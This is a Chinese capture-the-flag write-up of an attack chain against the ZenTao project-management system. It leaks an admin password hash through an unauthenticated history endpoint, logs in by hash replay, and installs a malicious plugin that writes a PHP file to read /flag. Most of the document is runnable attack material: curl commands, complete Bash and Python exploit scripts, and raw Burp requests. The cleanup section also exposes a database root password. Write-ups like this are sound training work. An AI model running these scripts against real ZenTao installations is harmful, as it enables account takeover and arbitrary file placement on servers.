禅道 action.ajaxGetList 未授权泄露到 Getshell 读取 /flag WP
| 作者 | 修订时间 |
|---|---|
| 2026-08-28 19:22:45 |
0x01 环境信息
目标是禅道系统,入口形式如下:
/index.php?m=模块名&f=方法名
当前重点接口:
/index.php?m=action&f=ajaxGetList
本地验证环境:
http://127.0.0.1:18088
如果是远程靶机,把 PoC 里的 BASE_URL 改成远程地址即可。
注意:环境里原先遗留过
/data/cmd.php,这是历史 webshell,不能作为本题解法使用。正式链路里不依赖该文件。
0x02 漏洞点分析
禅道配置里把 action.ajaxGetList 加入了未登录可访问的方法列表:
$config->openMethods[] = 'action.ajaxgetlist';
对应控制器逻辑大致如下:
public function ajaxGetList($objectType, $objectID)
{
$this->app->loadLang($objectType);
$actions = $this->action->getList($objectType, $objectID);
$actions = $this->action->buildActionList($actions);
return $this->send($actions);
}
该接口本意是给对象详情页异步加载操作历史,但没有重新校验当前用户是否有权限查看对应对象历史。
接口需要加 Ajax 头,否则响应为空:
X-Requested-With: XMLHttpRequest
访问用户对象历史:
curl -sS \
-H 'X-Requested-With: XMLHttpRequest' \
'http://127.0.0.1:18088/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
可以看到用户 15 的密码修改历史,例如:
旧值为 "aa11c1eecc7dcdb46252f3ac31c45e30",新值为 "0f2797f2182804d0cc7f0b85d254c146"
泄露出的新值:
0f2797f2182804d0cc7f0b85d254c146
这个哈希刚好也是当前 admin 用户的数据库密码哈希。
0x03 为什么泄露哈希可以登录
禅道前端登录时不是直接提交明文密码,而是先请求随机数:
/index.php?m=user&f=refreshRandom
然后提交:
md5(md5(明文密码) + rand)
服务端校验 32 位密码参数时,会执行类似逻辑:
if(strlen($password) == 32)
{
$hash = $this->session->rand ? md5($user->password . $this->session->rand) : $user->password;
if($password == $hash) return $user;
}
也就是说,服务端拿数据库里的 user->password 与当前 session 的 rand 拼接再 MD5。
因此只要知道数据库密码哈希,就可以不爆破明文密码,直接构造:
login_password = md5(leaked_db_hash + rand)
登录流程:
base='http://127.0.0.1:18088'
cj=$(mktemp)
hash='0f2797f2182804d0cc7f0b85d254c146'
rand=$(curl -sS -c "$cj" "$base/index.php?m=user&f=refreshRandom")
pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")
curl -sS -b "$cj" -c "$cj" \
"$base/index.php?m=user&f=login&account=admin&password=$pass&passwordStrength=3"
登录成功后,$cj 里保存了有效的 zentaosid。
0x04 后台插件上传 Getshell 思路
登录 admin 后,可以访问禅道后台插件安装功能:
/index.php?m=extension&f=upload
/index.php?m=extension&f=install
插件 ZIP 解压后会进入:
/data/zentao/extension/pkg/<插件代号>/
安装插件时,会把插件包内除 db、doc、hook 以外的目录复制到禅道应用根目录。
例如 ZIP 内包含:
ctf_flag_ext/
├── doc/
│ └── en.yaml
└── www/
└── data/
└── readflag.php
安装后会复制为:
/data/zentao/www/data/readflag.php
Web 访问路径就是:
/data/readflag.php
readflag.php 内容:
<?php readfile('/flag');
0x05 制作插件 ZIP
插件包目录必须带一个说明文件,最小 doc/en.yaml 如下:
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
制作命令:
work=$(mktemp -d)
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"
cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML
cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP
cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
生成的 ZIP 路径:
$work/ctf_flag_ext.zip
0x06 上传插件的坑点
上传请求必须带同源 Referer,否则禅道框架的 CSRF 逻辑会清空 $_FILES 和 $_POST,导致你明明发了 multipart,服务端却进入不了上传分支。
正确上传请求:
curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$base/index.php?m=extension&f=upload"
成功响应类似:
{"result":"success","callback":{"name":"loadInModal","params":"/index.php?m=extension&f=install&extension=ctf_flag_ext"}}
0x07 安装插件的坑点
extension.install 的 PHP 方法签名是:
public function install(
$extension,
$downLink = '',
$md5 = '',
$type = '',
$overridePackage = 'no',
$ignoreCompatible = 'no',
$overrideFile = 'no',
$agreeLicense = 'no',
$upgrade = 'no'
)
禅道这里的参数是按 URL 参数出现顺序绑定的,不要以为参数名一定会生效。
所以安装时要把前面的空参数也补齐:
curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=install" \
"$base/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no"
然后访问:
curl -sS "$base/data/readflag.php"
即可得到:
flag{12345}
0x08 完整 Burp 代理版 PoC
下面这个 PoC 会把所有 HTTP 请求代理到 Burp:
http://127.0.0.1:8080
使用前确保 Burp 已经监听 127.0.0.1:8080。
如果目标是 HTTPS 且证书不被信任,curl 版本 PoC 用 -k,Python 版本 PoC 用 verify=False。
Bash + curl 版
#!/usr/bin/env bash
set -euo pipefail
BASE_URL="${1:-http://127.0.0.1:18088}"
BURP_PROXY="${BURP_PROXY:-http://127.0.0.1:8080}"
cj=$(mktemp)
work=$(mktemp -d)
echo "[+] Target: $BASE_URL"
echo "[+] Burp proxy: $BURP_PROXY"
echo "[+] Step 1: leak password hash from action.ajaxGetList"
leak_resp=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-H 'X-Requested-With: XMLHttpRequest' \
"$BASE_URL/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15")
hash=$(printf '%s' "$leak_resp" | grep -Eo '[a-f0-9]{32}' | tail -n 1)
echo "[+] leaked hash: $hash"
echo "[+] Step 2: get session rand"
rand=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-c "$cj" \
"$BASE_URL/index.php?m=user&f=refreshRandom")
echo "[+] rand: $rand"
echo "[+] Step 3: build login password md5(hash + rand)"
login_pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")
echo "[+] login password: $login_pass"
echo "[+] Step 4: login as admin"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
"$BASE_URL/index.php?m=user&f=login&account=admin&password=$login_pass&passwordStrength=3" \
>/dev/null
echo "[+] Step 5: make malicious extension zip"
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"
cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML
cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP
(
cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
)
echo "[+] zip path: $work/ctf_flag_ext.zip"
echo "[+] Step 6: upload extension zip"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$BASE_URL/index.php?m=extension&f=upload"
echo
echo "[+] Step 7: install extension"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=install" \
"$BASE_URL/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no" \
>/dev/null
echo "[+] Step 8: read flag"
curl -k -sS \
--proxy "$BURP_PROXY" \
"$BASE_URL/data/readflag.php"
echo
echo "[+] cookie jar: $cj"
echo "[+] work dir: $work"
运行:
chmod +x poc.sh
BURP_PROXY='http://127.0.0.1:8080' ./poc.sh 'http://127.0.0.1:18088'
Python requests 版
#!/usr/bin/env python3
import hashlib
import os
import re
import shutil
import sys
import tempfile
import zipfile
import requests
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18088'
BURP_PROXY = os.environ.get('BURP_PROXY', 'http://127.0.0.1:8080')
PROXIES = {
'http': BURP_PROXY,
'https': BURP_PROXY,
}
def md5(data: str) -> str:
return hashlib.md5(data.encode()).hexdigest()
def make_zip(workdir: str) -> str:
root = os.path.join(workdir, 'ctf_flag_ext')
os.makedirs(os.path.join(root, 'doc'), exist_ok=True)
os.makedirs(os.path.join(root, 'www', 'data'), exist_ok=True)
with open(os.path.join(root, 'doc', 'en.yaml'), 'w', encoding='utf-8') as f:
f.write('''code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
''')
with open(os.path.join(root, 'www', 'data', 'readflag.php'), 'w', encoding='utf-8') as f:
f.write("<?php readfile('/flag');\n")
zip_path = os.path.join(workdir, 'ctf_flag_ext.zip')
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, filenames in os.walk(root):
for filename in filenames:
path = os.path.join(dirpath, filename)
arcname = os.path.relpath(path, workdir)
zf.write(path, arcname)
return zip_path
def main():
session = requests.Session()
session.proxies.update(PROXIES)
session.verify = False
print(f'[+] Target: {BASE_URL}')
print(f'[+] Burp proxy: {BURP_PROXY}')
print('[+] Step 1: leak password hash')
leak_url = f'{BASE_URL}/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
leak_resp = session.get(leak_url, headers={'X-Requested-With': 'XMLHttpRequest'})
leak_resp.raise_for_status()
hashes = re.findall(r'[a-f0-9]{32}', leak_resp.text)
if not hashes:
raise RuntimeError('no md5 hash found in ajaxGetList response')
leaked_hash = hashes[-1]
print(f'[+] leaked hash: {leaked_hash}')
print('[+] Step 2: get session rand')
rand_resp = session.get(f'{BASE_URL}/index.php?m=user&f=refreshRandom')
rand_resp.raise_for_status()
rand = rand_resp.text.strip()
print(f'[+] rand: {rand}')
print('[+] Step 3: login as admin')
login_password = md5(leaked_hash + rand)
login_url = f'{BASE_URL}/index.php?m=user&f=login&account=admin&password={login_password}&passwordStrength=3'
login_resp = session.get(login_url)
login_resp.raise_for_status()
workdir = tempfile.mkdtemp(prefix='zt-ext-')
try:
print('[+] Step 4: make extension zip')
zip_path = make_zip(workdir)
print(f'[+] zip path: {zip_path}')
print('[+] Step 5: upload extension')
upload_url = f'{BASE_URL}/index.php?m=extension&f=upload'
with open(zip_path, 'rb') as fp:
files = {'files[]': ('ctf_flag_ext.zip', fp, 'application/zip')}
upload_resp = session.post(
upload_url,
files=files,
headers={
'Referer': upload_url,
'X-Requested-With': 'XMLHttpRequest',
},
)
upload_resp.raise_for_status()
print(upload_resp.text)
print('[+] Step 6: install extension')
install_url = (
f'{BASE_URL}/index.php?m=extension&f=install'
'&extension=ctf_flag_ext'
'&downLink='
'&md5='
'&type='
'&overridePackage=no'
'&ignoreCompatible=yes'
'&overrideFile=yes'
'&agreeLicense=yes'
'&upgrade=no'
)
install_resp = session.get(install_url, headers={'Referer': upload_url})
install_resp.raise_for_status()
print('[+] Step 7: read flag')
flag_resp = session.get(f'{BASE_URL}/data/readflag.php')
flag_resp.raise_for_status()
print(flag_resp.text.strip())
finally:
print(f'[+] temp workdir kept at: {workdir}')
# 如需自动删除本地临时目录,可以取消下一行注释。
# shutil.rmtree(workdir)
if __name__ == '__main__':
main()
运行:
python3 -m pip install requests
BURP_PROXY='http://127.0.0.1:8080' python3 poc.py 'http://127.0.0.1:18088'
0x09 Burp 抓包重点
建议重点看这几个包:
1. 未授权泄露历史
GET /index.php?m=action&f=ajaxGetList&objectType=user&objectID=15 HTTP/1.1
Host: 127.0.0.1:18088
X-Requested-With: XMLHttpRequest
响应里搜索:
新值为
2. 获取登录随机数
GET /index.php?m=user&f=refreshRandom HTTP/1.1
Host: 127.0.0.1:18088
响应体就是 rand,同时会设置或更新 session cookie。
3. 哈希重放登录
GET /index.php?m=user&f=login&account=admin&password=<md5(leaked_hash+rand)>&passwordStrength=3 HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<同一个会话>
4. 上传插件 ZIP
POST /index.php?m=extension&f=upload HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=upload
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----xxx
------xxx
Content-Disposition: form-data; name="files[]"; filename="ctf_flag_ext.zip"
Content-Type: application/zip
<zip bytes>
------xxx--
如果没有 Referer,框架会认为 CSRF,清空上传内容,导致上传失败或返回上传页面 HTML。
5. 安装插件
GET /index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=install
6. 读取 flag
GET /data/readflag.php HTTP/1.1
Host: 127.0.0.1:18088
响应:
flag{12345}
0x0a 利用链总结
完整链路如下:
action.ajaxGetList 未授权
↓
读取 user:15 操作历史
↓
泄露密码修改后的数据库哈希
↓
refreshRandom 获取 session rand
↓
构造 md5(leaked_hash + rand)
↓
哈希重放登录 admin
↓
后台上传恶意插件 ZIP
↓
插件安装复制 www/data/readflag.php
↓
访问 /data/readflag.php 读取 /flag
最终结果:
flag{12345}
0x0b 清理痕迹
如果是本地 CTF 环境,验证结束后可以清理插件文件:
docker exec zendao sh -lc 'rm -f /data/zentao/www/data/readflag.php'
docker exec zendao sh -lc 'rm -rf /data/zentao/extension/pkg/ctf_flag_ext /data/zentao/tmp/extension/ctf_flag_ext.zip'
docker exec mysql8 mysql -uroot -p6722786Dai zentao -e "delete from zt_extension where code=\"ctf_flag_ext\";"
比赛环境一般不需要清理;本地复盘建议清理,避免后续误用遗留 webshell。